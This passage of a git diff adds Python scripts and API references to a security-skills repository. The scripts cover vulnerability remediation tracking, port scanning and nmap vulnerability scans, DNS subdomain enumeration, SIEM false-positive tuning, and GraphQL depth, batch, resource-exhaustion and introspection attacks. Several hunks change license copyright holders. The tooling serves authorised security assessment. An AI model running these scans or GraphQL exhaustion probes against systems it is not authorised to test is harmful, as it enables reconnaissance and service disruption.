Parse and prioritize vulnerabilities by severity +### `check_windows_patches()` — List installed Windows hotfixes via WMIC +### `validate_remediation(host, port)` — TCP connect to verify port closure +### `generate_remediation_report(scan_file, output)` — Group vulns by host for remediation + +## Dependencies +No external packages — Python standard library only. diff --git a/skills/performing-endpoint-vulnerability-remediation/scripts/agent.py b/skills/performing-endpoint-vulnerability-remediation/scripts/agent.py new file mode 100644 index 00000000..0630e5f4 --- /dev/null +++ b/skills/performing-endpoint-vulnerability-remediation/scripts/agent.py @@ -0,0 +1,123 @@ +#!/usr/bin/env python3 +"""Agent for performing endpoint vulnerability remediation tracking and validation.""" + +import json +import argparse +import subprocess +import csv +from datetime import datetime +from pathlib import Path + + +def parse_scan_report(csv_file): + """Parse a vulnerability scan CSV report and prioritize remediation.""" + with open(csv_file, "r", encoding="utf-8", errors="replace") as f: + reader = csv.DictReader(f) + rows = list(reader) + vulns = [] + for row in rows: + severity = row.get("Severity", row.get("severity", row.get("Risk", ""))).lower() + vulns.append({ + "host": row.get("Host", row.get("IP", row.get("ip", ""))), + "port": row.get("Port", row.get("port", "")), + "cve": row.get("CVE", row.get("cve", row.get("Plugin ID", ""))), + "title": row.get("Name", row.get("title", row.get("Summary", "")))[:200], + "severity": severity, + "solution": row.get("Solution", row.get("Fix", ""))[:300], + }) + by_severity = {} + for v in vulns: + s = v["severity"] + by_severity[s] = by_severity.get(s, 0) + 1 + critical_high = [v for v in vulns if v["severity"] in ("critical", "high")] + return { + "total_vulns": len(vulns), + "by_severity": by_severity, + "critical_high_count": len(critical_high), + "remediation_queue": sorted(critical_high, key=lambda x: 0 if x["severity"] == "critical" else 1), + } + + +def check_windows_patches(): + """Check installed Windows patches and identify missing ones.""" + try: + result = subprocess.run( + ["wmic", "qfe", "get", "HotFixID,InstalledOn,Description", "/format:csv"], + capture_output=True, text=True, timeout=30 + ) + from io import StringIO + reader = csv.DictReader(StringIO(result.stdout)) + patches = [{"id": r.get("HotFixID"), "date": r.get("InstalledOn"), "desc": r.get("Description")} + for r in reader if r.get("HotFixID")] + return {"installed_patches": len(patches), "patches": patches} + except Exception as e: + return {"error": str(e)} + + +def validate_remediation(host, port, check_type="port_open"): + """Validate that a vulnerability has been remediated.""" + import socket + result = {"host": host, "port": int(port), "check_type": check_type} + if check_type == "port_open": + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(5) + try: + sock.connect((host, int(port))) + result["status"] = "STILL_OPEN" + result["remediated"] = False + except (socket.timeout, ConnectionRefusedError, OSError): + result["status"] = "CLOSED" + result["remediated"] = True + finally: + sock.close() + return result + + +def generate_remediation_report(scan_file, output=None): + """Generate a remediation plan from scan results.""" + parsed = parse_scan_report(scan_file) + plan = {"generated": datetime.utcnow().isoformat(), "source": scan_file} + plan["summary"] = parsed["by_severity"] + plan["total"] = parsed["total_vulns"] + hosts = {} + for v in parsed["remediation_queue"]: + h = v["host"] + if h not in hosts: + hosts[h] = [] + hosts[h].append(v) + plan["by_host"] = {h: {"count": len(vs), "vulns": vs} for h, vs in hosts.items()} + if output: + with open(output, "w") as f: + json.dump(plan, f, indent=2) + return plan + + +def main(): + parser = argparse.ArgumentParser(description="Endpoint Vulnerability Remediation Agent") + sub = parser.add_subparsers(dest="command") + p = sub.add_parser("parse", help="Parse vulnerability scan report") + p.add_argument("--scan-file", required=True) + sub.add_parser("patches", help="Check installed Windows patches") + v = sub.add_parser("validate", help="Validate remediation") + v.add_argument("--host", required=True) + v.add_argument("--port", required=True) + r = sub.add_parser("report", help="Generate remediation report") + r.add_argument("--scan-file", required=True) + r.add_argument("--output", help="Output JSON file") + args = parser.parse_args() + if args.command == "parse": + result = parse_scan_report(args.scan_file) + elif args.command == "patches": + result = check_windows_patches() + elif args.command == "validate": + result = validate_remediation(args.host, args.port) + elif args.command == "report": + result = generate_remediation_report(args.scan_file, args.output) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-entitlement-review-with-sailpoint-iiq/LICENSE b/skills/performing-entitlement-review-with-sailpoint-iiq/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-entitlement-review-with-sailpoint-iiq/LICENSE +++ b/skills/performing-entitlement-review-with-sailpoint-iiq/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-external-network-penetration-test/LICENSE b/skills/performing-external-network-penetration-test/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-external-network-penetration-test/LICENSE +++ b/skills/performing-external-network-penetration-test/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-external-network-penetration-test/references/api-reference.md b/skills/performing-external-network-penetration-test/references/api-reference.md new file mode 100644 index 00000000..4d941f55 --- /dev/null +++ b/skills/performing-external-network-penetration-test/references/api-reference.md @@ -0,0 +1,42 @@ +# API Reference — Performing External Network Penetration Test + +## Libraries Used +- **socket**: TCP port scanning and banner grabbing +- **subprocess**: Execute nmap with XML output parsing +- **dns.resolver** (dnspython): DNS record enumeration and subdomain discovery +- **ssl**: TLS certificate inspection and cipher analysis +- **xml.etree.ElementTree**: Parse nmap XML output + +## CLI Interface +``` +python agent.py scan --host [--ports 22 80 443] +python agent.py nmap --target [--type quick|full|vuln|udp] +python agent.py dns --domain +python agent.py ssl --host [--port 443] +``` + +## Core Functions + +### `tcp_port_scan(host, ports)` — Scan TCP ports with banner grabbing +Scans 22 common ports by default. Returns open ports with service banners. + +### `run_nmap_scan(target, scan_type)` — Execute nmap and parse XML results +Scan types: `quick` (top 100 -sV), `full` (-p- -sC), `vuln` (NSE vuln scripts), `udp` (top 50 UDP). + +### `dns_enumeration(domain)` — Enumerate DNS records and subdomains +Queries A, AAAA, MX, NS, TXT, SOA, CNAME records. Tests 10 common subdomain prefixes. + +### `ssl_check(host, port)` — Inspect TLS certificate and cipher suite +Returns subject, issuer, validity dates, TLS version, and negotiated cipher. + +## Default Port List +21 (FTP), 22 (SSH), 23 (Telnet), 25 (SMTP), 53 (DNS), 80 (HTTP), 110 (POP3), +135 (RPC), 139 (NetBIOS), 143 (IMAP), 443 (HTTPS), 445 (SMB), 993/995 (IMAPS/POP3S), +1433 (MSSQL), 1521 (Oracle), 3306 (MySQL), 3389 (RDP), 5432 (PostgreSQL), +5900 (VNC), 8080/8443 (HTTP Proxy/Alt HTTPS) + +## Dependencies +``` +pip install dnspython +``` +System: nmap (optional, for advanced scanning) diff --git a/skills/performing-external-network-penetration-test/scripts/agent.py b/skills/performing-external-network-penetration-test/scripts/agent.py new file mode 100644 index 00000000..a681b285 --- /dev/null +++ b/skills/performing-external-network-penetration-test/scripts/agent.py @@ -0,0 +1,146 @@ +#!/usr/bin/env python3 +"""Agent for performing external network penetration test reconnaissance and scanning.""" + +import json +import argparse +import subprocess +import socket +from datetime import datetime + + +def tcp_port_scan(host, ports=None): + """Scan common TCP ports on a target host.""" + if ports is None: + ports = [21, 22, 23, 25, 53, 80, 110, 135, 139, 143, 443, 445, + 993, 995, 1433, 1521, 3306, 3389, 5432, 5900, 8080, 8443] + results = [] + for port in ports: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(2) + try: + sock.connect((host, port)) + try: + banner = sock.recv(1024).decode("utf-8", errors="replace").strip()[:200] + except Exception: + banner = "" + results.append({"port": port, "state": "open", "banner": banner}) + except (socket.timeout, ConnectionRefusedError, OSError): + pass + finally: + sock.close() + return {"host": host, "open_ports": results, "scanned": len(ports), "timestamp": datetime.utcnow().isoformat()} + + +def run_nmap_scan(target, scan_type="quick"): + """Run nmap scan against target.""" + scan_args = { + "quick": ["-sV", "-T4", "--top-ports", "100"], + "full": ["-sV", "-sC", "-p-", "-T3"], + "vuln": ["-sV", "--script", "vuln", "--top-ports", "1000"], + "udp": ["-sU", "--top-ports", "50", "-T4"], + } + args = scan_args.get(scan_type, scan_args["quick"]) + cmd = ["nmap", "-oX", "-"] + args + [target] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + import xml.etree.ElementTree as ET + root = ET.fromstring(result.stdout) + hosts = [] + for host in root.findall(".//host"): + addr = host.find("address").get("addr", "") if host.find("address") is not None else "" + ports = [] + for port in host.findall(".//port"): + state = port.find("state") + service = port.find("service") + ports.append({ + "port": int(port.get("portid", 0)), + "protocol": port.get("protocol", ""), + "state": state.get("state", "") if state is not None else "", + "service": service.get("name", "") if service is not None else "", + "version": service.get("product", "") + " " + service.get("version", "") if service is not None else "", + }) + hosts.append({"ip": addr, "ports": ports}) + return {"target": target, "scan_type": scan_type, "hosts": hosts} + except FileNotFoundError: + return {"error": "nmap not installed"} + except Exception as e: + return {"error": str(e)} + + +def dns_enumeration(domain): + """Enumerate DNS records for a domain.""" + try: + import dns.resolver + except ImportError: + return {"error": "dnspython not installed — pip install dnspython"} + records = {} + for rtype in ["A", "AAAA", "MX", "NS", "TXT", "SOA", "CNAME"]: + try: + answers = dns.resolver.resolve(domain, rtype) + records[rtype] = [str(r) for r in answers] + except Exception: + pass + subdomains = ["www", "mail", "ftp", "vpn", "remote", "api", "dev", "staging", "admin", "portal"] + found_subs = [] + for sub in subdomains: + try: + answers = dns.resolver.resolve(f"{sub}.{domain}", "A") + found_subs.append({"subdomain": f"{sub}.{domain}", "ips": [str(r) for r in answers]}) + except Exception: + pass + return {"domain": domain, "records": records, "subdomains": found_subs} + + +def ssl_check(host, port=443): + """Check SSL/TLS certificate details.""" + import ssl + ctx = ssl.create_default_context() + try: + with ctx.wrap_socket(socket.socket(), server_hostname=host) as s: + s.settimeout(10) + s.connect((host, port)) + cert = s.getpeercert() + return { + "host": host, "port": port, + "subject": dict(x[0] for x in cert.get("subject", [])), + "issuer": dict(x[0] for x in cert.get("issuer", [])), + "notBefore": cert.get("notBefore"), + "notAfter": cert.get("notAfter"), + "version": s.version(), + "cipher": s.cipher(), + } + except Exception as e: + return {"host": host, "error": str(e)} + + +def main(): + parser = argparse.ArgumentParser(description="External Network Penetration Test Agent") + sub = parser.add_subparsers(dest="command") + s = sub.add_parser("scan", help="TCP port scan") + s.add_argument("--host", required=True) + s.add_argument("--ports", nargs="*", type=int) + n = sub.add_parser("nmap", help="Run nmap scan") + n.add_argument("--target", required=True) + n.add_argument("--type", default="quick", choices=["quick", "full", "vuln", "udp"]) + d = sub.add_parser("dns", help="DNS enumeration") + d.add_argument("--domain", required=True) + c = sub.add_parser("ssl", help="SSL certificate check") + c.add_argument("--host", required=True) + c.add_argument("--port", type=int, default=443) + args = parser.parse_args() + if args.command == "scan": + result = tcp_port_scan(args.host, args.ports) + elif args.command == "nmap": + result = run_nmap_scan(args.target, args.type) + elif args.command == "dns": + result = dns_enumeration(args.domain) + elif args.command == "ssl": + result = ssl_check(args.host, args.port) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-false-positive-reduction-in-siem/LICENSE b/skills/performing-false-positive-reduction-in-siem/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-false-positive-reduction-in-siem/LICENSE +++ b/skills/performing-false-positive-reduction-in-siem/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-false-positive-reduction-in-siem/references/api-reference.md b/skills/performing-false-positive-reduction-in-siem/references/api-reference.md new file mode 100644 index 00000000..c5de0629 --- /dev/null +++ b/skills/performing-false-positive-reduction-in-siem/references/api-reference.md @@ -0,0 +1,36 @@ +# API Reference — Performing False Positive Reduction in SIEM + +## Libraries Used +- **csv**: Parse SIEM alert export files (Splunk, QRadar, Sentinel) +- **collections.Counter**: Aggregate alert patterns by rule, source, severity + +## CLI Interface +``` +python agent.py analyze --csv alerts.csv [--threshold 5] +python agent.py tune --csv alerts.csv +python agent.py simulate --csv alerts.csv [--disable-rules "Rule A" "Rule B"] [--whitelist-sources 10.0.0.1] +``` + +## Core Functions + +### `analyze_alerts(csv_file, threshold)` — Identify false positive patterns +Parses alert CSV, calculates per-rule FP rates, identifies noisy rules exceeding threshold. +Returns: total alerts, FP count/rate, noisy rules ranked by FP rate, top FP sources. + +### `generate_tuning_recommendations(csv_file)` — Create tuning action plan +Maps FP rates to actions: DISABLE (>=90%), ADD_WHITELIST (>=70%), TUNE_THRESHOLD (>=50%), REVIEW (<50%). + +### `simulate_tuning_impact(csv_file, rules_to_disable, sources_to_whitelist)` — Model tuning changes +Calculates alert volume reduction and new FP rate after applying proposed rule disables and source whitelists. + +## Expected CSV Columns +- `rule_name` / `Rule` / `alert_name`: Detection rule identifier +- `src_ip` / `source_ip` / `Source`: Source IP address +- `status` / `Status` / `disposition`: Alert disposition (false_positive, fp, closed_fp, benign) +- `severity` / `Severity`: Alert severity level + +## FP Status Keywords +`false_positive`, `fp`, `closed_fp`, `benign` + +## Dependencies +No external packages — Python standard library only. diff --git a/skills/performing-false-positive-reduction-in-siem/scripts/agent.py b/skills/performing-false-positive-reduction-in-siem/scripts/agent.py new file mode 100644 index 00000000..14bfc135 --- /dev/null +++ b/skills/performing-false-positive-reduction-in-siem/scripts/agent.py @@ -0,0 +1,133 @@ +#!/usr/bin/env python3 +"""Agent for performing false positive reduction analysis in SIEM environments.""" + +import json +import argparse +import csv +from datetime import datetime +from collections import Counter + + +def analyze_alerts(csv_file, threshold=5): + """Analyze SIEM alert CSV to identify false positive patterns.""" + with open(csv_file, "r", encoding="utf-8", errors="replace") as f: + reader = csv.DictReader(f) + rows = list(reader) + alerts = [] + for row in rows: + alerts.append({ + "rule": row.get("rule_name", row.get("Rule", row.get("alert_name", ""))), + "source": row.get("src_ip", row.get("source_ip", row.get("Source", ""))), + "dest": row.get("dst_ip", row.get("dest_ip", row.get("Destination", ""))), + "severity": row.get("severity", row.get("Severity", "")), + "status": row.get("status", row.get("Status", row.get("disposition", ""))).lower(), + "timestamp": row.get("timestamp", row.get("Time", "")), + }) + total = len(alerts) + fp_alerts = [a for a in alerts if a["status"] in ("false_positive", "fp", "closed_fp", "benign")] + fp_rate = len(fp_alerts) / total * 100 if total else 0 + rule_counts = Counter(a["rule"] for a in alerts) + fp_by_rule = Counter(a["rule"] for a in fp_alerts) + noisy_rules = [] + for rule, count in rule_counts.most_common(): + fp_count = fp_by_rule.get(rule, 0) + rate = fp_count / count * 100 if count else 0 + if rate >= threshold or fp_count >= 10: + noisy_rules.append({"rule": rule, "total": count, "false_positives": fp_count, "fp_rate": round(rate, 1)}) + source_fp = Counter(a["source"] for a in fp_alerts) + top_fp_sources = [{"source": s, "fp_count": c} for s, c in source_fp.most_common(10)] + return { + "total_alerts": total, + "false_positives": len(fp_alerts), + "fp_rate_pct": round(fp_rate, 1), + "noisy_rules": sorted(noisy_rules, key=lambda x: x["fp_rate"], reverse=True), + "top_fp_sources": top_fp_sources, + } + + +def generate_tuning_recommendations(csv_file): + """Generate SIEM rule tuning recommendations from alert analysis.""" + analysis = analyze_alerts(csv_file) + recommendations = [] + for rule in analysis["noisy_rules"]: + if rule["fp_rate"] >= 90: + action = "DISABLE" + reason = f"FP rate {rule['fp_rate']}% — rule generates almost exclusively false positives" + elif rule["fp_rate"] >= 70: + action = "ADD_WHITELIST" + reason = f"FP rate {rule['fp_rate']}% — add source/destination whitelists" + elif rule["fp_rate"] >= 50: + action = "TUNE_THRESHOLD" + reason = f"FP rate {rule['fp_rate']}% — increase detection threshold or add conditions" + else: + action = "REVIEW" + reason = f"FP rate {rule['fp_rate']}% with {rule['false_positives']} FPs — manual review needed" + recommendations.append({"rule": rule["rule"], "action": action, "reason": reason, **rule}) + return { + "generated": datetime.utcnow().isoformat(), + "overall_fp_rate": analysis["fp_rate_pct"], + "rules_to_tune": len(recommendations), + "recommendations": recommendations, + "top_fp_sources": analysis["top_fp_sources"], + } + + +def simulate_tuning_impact(csv_file, rules_to_disable=None, sources_to_whitelist=None): + """Simulate the impact of proposed tuning changes on alert volume.""" + with open(csv_file, "r", encoding="utf-8", errors="replace") as f: + reader = csv.DictReader(f) + rows = list(reader) + rules_to_disable = rules_to_disable or [] + sources_to_whitelist = sources_to_whitelist or [] + original = len(rows) + remaining = [] + suppressed = {"by_rule": 0, "by_source": 0} + for row in rows: + rule = row.get("rule_name", row.get("Rule", row.get("alert_name", ""))) + source = row.get("src_ip", row.get("source_ip", row.get("Source", ""))) + if rule in rules_to_disable: + suppressed["by_rule"] += 1 + continue + if source in sources_to_whitelist: + suppressed["by_source"] += 1 + continue + remaining.append(row) + reduction = (1 - len(remaining) / original) * 100 if original else 0 + fp_remaining = sum(1 for r in remaining if r.get("status", r.get("Status", "")).lower() in ("false_positive", "fp", "closed_fp", "benign")) + new_fp_rate = fp_remaining / len(remaining) * 100 if remaining else 0 + return { + "original_alerts": original, + "remaining_alerts": len(remaining), + "suppressed": suppressed, + "reduction_pct": round(reduction, 1), + "new_fp_rate_pct": round(new_fp_rate, 1), + } + + +def main(): + parser = argparse.ArgumentParser(description="SIEM False Positive Reduction Agent") + sub = parser.add_subparsers(dest="command") + a = sub.add_parser("analyze", help="Analyze alert false positive patterns") + a.add_argument("--csv", required=True, help="SIEM alert export CSV") + a.add_argument("--threshold", type=float, default=5, help="Min FP rate to flag") + t = sub.add_parser("tune", help="Generate tuning recommendations") + t.add_argument("--csv", required=True) + s = sub.add_parser("simulate", help="Simulate tuning impact") + s.add_argument("--csv", required=True) + s.add_argument("--disable-rules", nargs="*", default=[]) + s.add_argument("--whitelist-sources", nargs="*", default=[]) + args = parser.parse_args() + if args.command == "analyze": + result = analyze_alerts(args.csv, args.threshold) + elif args.command == "tune": + result = generate_tuning_recommendations(args.csv) + elif args.command == "simulate": + result = simulate_tuning_impact(args.csv, args.disable_rules, args.whitelist_sources) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-file-carving-with-foremost/LICENSE b/skills/performing-file-carving-with-foremost/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-file-carving-with-foremost/LICENSE +++ b/skills/performing-file-carving-with-foremost/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-firmware-malware-analysis/LICENSE b/skills/performing-firmware-malware-analysis/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-firmware-malware-analysis/LICENSE +++ b/skills/performing-firmware-malware-analysis/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-gcp-security-assessment-with-forseti/LICENSE b/skills/performing-gcp-security-assessment-with-forseti/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-gcp-security-assessment-with-forseti/LICENSE +++ b/skills/performing-gcp-security-assessment-with-forseti/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-graphql-depth-limit-attack/LICENSE b/skills/performing-graphql-depth-limit-attack/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-graphql-depth-limit-attack/LICENSE +++ b/skills/performing-graphql-depth-limit-attack/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-graphql-depth-limit-attack/references/api-reference.md b/skills/performing-graphql-depth-limit-attack/references/api-reference.md new file mode 100644 index 00000000..62cc5b52 --- /dev/null +++ b/skills/performing-graphql-depth-limit-attack/references/api-reference.md @@ -0,0 +1,41 @@ +# API Reference — Performing GraphQL Depth Limit Attack + +## Libraries Used +- **requests**: Send GraphQL queries with depth/width/batch payloads +- **time**: Measure response latency for resource exhaustion detection + +## CLI Interface +``` +python agent.py depth --url [--max-depth 20] [--auth-header "Bearer token"] +python agent.py circular --url --type-a User --field-a posts --type-b Post --field-b author [--depth 10] +python agent.py batch --url [--count 50] +python agent.py width --url [--width 50] [--depth 5] +``` + +## Core Functions + +### `build_nested_query(field_name, depth, leaf)` — Construct nested query payload +Generates progressively deeper GraphQL queries for depth limit probing. + +### `test_depth_limit(url, max_depth, headers)` — Probe depth enforcement +Sends queries at increasing depth (1 to max_depth). Classifies severity: +HIGH (>=15 allowed), MEDIUM (>=8), LOW (<8). + +### `test_circular_query(url, type_a, field_a, type_b, field_b, depth)` — Test circular references +Builds alternating A.field_a -> B.field_b chains to test circular query handling. + +### `test_batch_query(url, count, headers)` — Test batch query bypass +Sends array of N queries to check if batching bypasses per-query depth limits. + +### `test_resource_exhaustion(url, width, depth, headers)` — Test wide+deep queries +Combines field width (aliases) with nesting depth. Flags SLOW_RESPONSE if >5s. + +## Severity Classification +- **HIGH**: No depth limit or limit >= 15 levels +- **MEDIUM**: Depth limit 8-14 or batch queries accepted +- **LOW**: Depth limit < 8 with proper enforcement + +## Dependencies +``` +pip install requests +``` diff --git a/skills/performing-graphql-depth-limit-attack/scripts/agent.py b/skills/performing-graphql-depth-limit-attack/scripts/agent.py new file mode 100644 index 00000000..ecc0d53d --- /dev/null +++ b/skills/performing-graphql-depth-limit-attack/scripts/agent.py @@ -0,0 +1,168 @@ +#!/usr/bin/env python3 +"""Agent for performing GraphQL depth limit attack testing.""" + +import json +import argparse +import time +from datetime import datetime + +try: + import requests +except ImportError: + requests = None + + +def build_nested_query(field_name, depth, leaf="__typename"): + """Build a deeply nested GraphQL query string.""" + query = leaf + for _ in range(depth): + query = f"{field_name} {{ {query} }}" + return "query { " + query + " }" + + +def test_depth_limit(url, max_depth=20, headers=None): + """Probe GraphQL endpoint for query depth enforcement.""" + hdrs = {"Content-Type": "application/json"} + if headers: + hdrs.update(headers) + results = [] + last_success = 0 + for depth in range(1, max_depth + 1): + query = build_nested_query("__schema", depth, "__typename") + try: + resp = requests.post(url, json={"query": query}, headers=hdrs, timeout=15) + data = resp.json() + has_errors = "errors" in data + has_data = bool(data.get("data")) + blocked = has_errors and not has_data + results.append({"depth": depth, "status": resp.status_code, "blocked": blocked, "response_time_ms": resp.elapsed.total_seconds() * 1000}) + if not blocked: + last_success = depth + if blocked: + break + except Exception as e: + results.append({"depth": depth, "error": str(e)}) + break + finding = "NO_DEPTH_LIMIT" if last_success >= max_depth else f"DEPTH_LIMIT_AT_{last_success + 1}" + severity = "HIGH" if last_success >= 15 else "MEDIUM" if last_success >= 8 else "LOW" + return { + "url": url, "max_depth_tested": max_depth, "max_allowed_depth": last_success, + "finding": finding, "severity": severity, "details": results, + "timestamp": datetime.utcnow().isoformat(), + } + + +def test_circular_query(url, type_a, field_a, type_b, field_b, depth=10, headers=None): + """Test circular reference queries (e.g., user.posts.author.posts...).""" + hdrs = {"Content-Type": "application/json"} + if headers: + hdrs.update(headers) + fragment = "" + for i in range(depth): + if i % 2 == 0: + fragment = f"{field_a} {{ {fragment} }}" if fragment else f"{field_a} {{ __typename }}" + else: + fragment = f"{field_b} {{ {fragment} }}" + query = f"query {{ {fragment} }}" + try: + resp = requests.post(url, json={"query": query}, headers=hdrs, timeout=30) + data = resp.json() + return { + "url": url, "circular_depth": depth, + "type_pair": f"{type_a}.{field_a} <-> {type_b}.{field_b}", + "status": resp.status_code, + "blocked": "errors" in data and not data.get("data"), + "response_time_ms": resp.elapsed.total_seconds() * 1000, + } + except Exception as e: + return {"error": str(e)} + + +def test_batch_query(url, count=50, headers=None): + """Test if batched queries bypass depth limits.""" + hdrs = {"Content-Type": "application/json"} + if headers: + hdrs.update(headers) + queries = [{"query": "{ __typename }"} for _ in range(count)] + try: + resp = requests.post(url, json=queries, headers=hdrs, timeout=30) + data = resp.json() + accepted = isinstance(data, list) + return { + "url": url, "batch_size": count, "batch_accepted": accepted, + "responses": len(data) if accepted else 0, + "finding": f"BATCH_ALLOWED_{count}" if accepted else "BATCH_REJECTED", + "severity": "HIGH" if accepted and count >= 20 else "MEDIUM" if accepted else "INFO", + } + except Exception as e: + return {"error": str(e)} + + +def test_resource_exhaustion(url, width=50, depth=5, headers=None): + """Test wide + deep queries for resource exhaustion potential.""" + hdrs = {"Content-Type": "application/json"} + if headers: + hdrs.update(headers) + fields = " ".join([f"f{i}: __typename" for i in range(width)]) + nested = fields + for _ in range(depth): + nested = f"__schema {{ types {{ {nested} }} }}" + query = f"query {{ {nested} }}" + try: + start = time.time() + resp = requests.post(url, json={"query": query}, headers=hdrs, timeout=30) + elapsed = (time.time() - start) * 1000 + return { + "url": url, "width": width, "depth": depth, + "total_fields": width * depth, "status": resp.status_code, + "response_time_ms": round(elapsed, 1), + "finding": "SLOW_RESPONSE" if elapsed > 5000 else "NORMAL", + } + except Exception as e: + return {"error": str(e)} + + +def main(): + if not requests: + print(json.dumps({"error": "requests not installed — pip install requests"})) + return + parser = argparse.ArgumentParser(description="GraphQL Depth Limit Attack Agent") + sub = parser.add_subparsers(dest="command") + d = sub.add_parser("depth", help="Test query depth limits") + d.add_argument("--url", required=True) + d.add_argument("--max-depth", type=int, default=20) + d.add_argument("--auth-header", help="Authorization header value") + c = sub.add_parser("circular", help="Test circular reference queries") + c.add_argument("--url", required=True) + c.add_argument("--type-a", required=True) + c.add_argument("--field-a", required=True) + c.add_argument("--type-b", required=True) + c.add_argument("--field-b", required=True) + c.add_argument("--depth", type=int, default=10) + b = sub.add_parser("batch", help="Test batch query acceptance") + b.add_argument("--url", required=True) + b.add_argument("--count", type=int, default=50) + w = sub.add_parser("width", help="Test wide+deep resource exhaustion") + w.add_argument("--url", required=True) + w.add_argument("--width", type=int, default=50) + w.add_argument("--depth", type=int, default=5) + args = parser.parse_args() + headers = {} + if hasattr(args, "auth_header") and args.auth_header: + headers["Authorization"] = args.auth_header + if args.command == "depth": + result = test_depth_limit(args.url, args.max_depth, headers or None) + elif args.command == "circular": + result = test_circular_query(args.url, args.type_a, args.field_a, args.type_b, args.field_b, args.depth, headers or None) + elif args.command == "batch": + result = test_batch_query(args.url, args.count, headers or None) + elif args.command == "width": + result = test_resource_exhaustion(args.url, args.width, args.depth, headers or None) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-graphql-introspection-attack/LICENSE b/skills/performing-graphql-introspection-attack/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-graphql-introspection-attack/LICENSE +++ b/skills/performing-graphql-introspection-attack/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-graphql-introspection-attack/references/api-reference.md b/skills/performing-graphql-introspection-attack/references/api-reference.md new file mode 100644 index 00000000..0a20034c --- /dev/null +++ b/skills/performing-graphql-introspection-attack/references/api-reference.md @@ -0,0 +1,26 @@ +# API Reference — Performing GraphQL Introspection Attack + +## Libraries Used +- **requests**: Send GraphQL introspection queries and depth test payloads + +## CLI Interface +``` +python agent.py introspect --url [--auth-header "Bearer token"] +python agent.py depth --url [--max-depth 10] +``` + +## Core Functions + +### `run_introspection(url, headers)` — Execute `__schema` introspection query +Returns: types, queries, mutations, sensitive field detection. + +### `test_depth_limit(url, max_depth, headers)` — Test query depth enforcement +Sends increasingly nested queries to detect missing depth limits. + +## Sensitive Field Patterns +`password`, `token`, `secret`, `credential`, `ssn`, `credit_card`, `api_key` + +## Dependencies +``` +pip install requests +``` diff --git a/skills/performing-graphql-introspection-attack/scripts/agent.py b/skills/performing-graphql-introspection-attack/scripts/agent.py new file mode 100644 index 00000000..f4c81b75 --- /dev/null +++ b/skills/performing-graphql-introspection-attack/scripts/agent.py @@ -0,0 +1,113 @@ +#!/usr/bin/env python3 +"""Agent for performing GraphQL introspection attack and schema analysis.""" + +import json +import argparse +from datetime import datetime + +try: + import requests +except ImportError: + requests = None + +INTROSPECTION_QUERY = """ +query IntrospectionQuery { + __schema { + queryType { name } + mutationType { name } + types { + name kind description + fields(includeDeprecated: true) { + name type { name kind ofType { name kind } } + args { name type { name kind } } + } + } + } +} +""" + + +def run_introspection(url, headers=None): + """Execute GraphQL introspection query against target endpoint.""" + hdrs = {"Content-Type": "application/json"} + if headers: + hdrs.update(headers) + resp = requests.post(url, json={"query": INTROSPECTION_QUERY}, headers=hdrs, timeout=30) + if resp.status_code != 200: + return {"url": url, "introspection_enabled": False, "status_code": resp.status_code} + data = resp.json() + if "errors" in data and not data.get("data"): + return {"url": url, "introspection_enabled": False, "errors": data["errors"][:3]} + schema = data.get("data", {}).get("__schema", {}) + types = schema.get("types", []) + user_types = [t for t in types if not t["name"].startswith("__")] + mutations = [] + queries = [] + for t in types: + if t["name"] == schema.get("queryType", {}).get("name"): + queries = [f["name"] for f in t.get("fields", [])] + if t["name"] == (schema.get("mutationType") or {}).get("name"): + mutations = [f["name"] for f in t.get("fields", 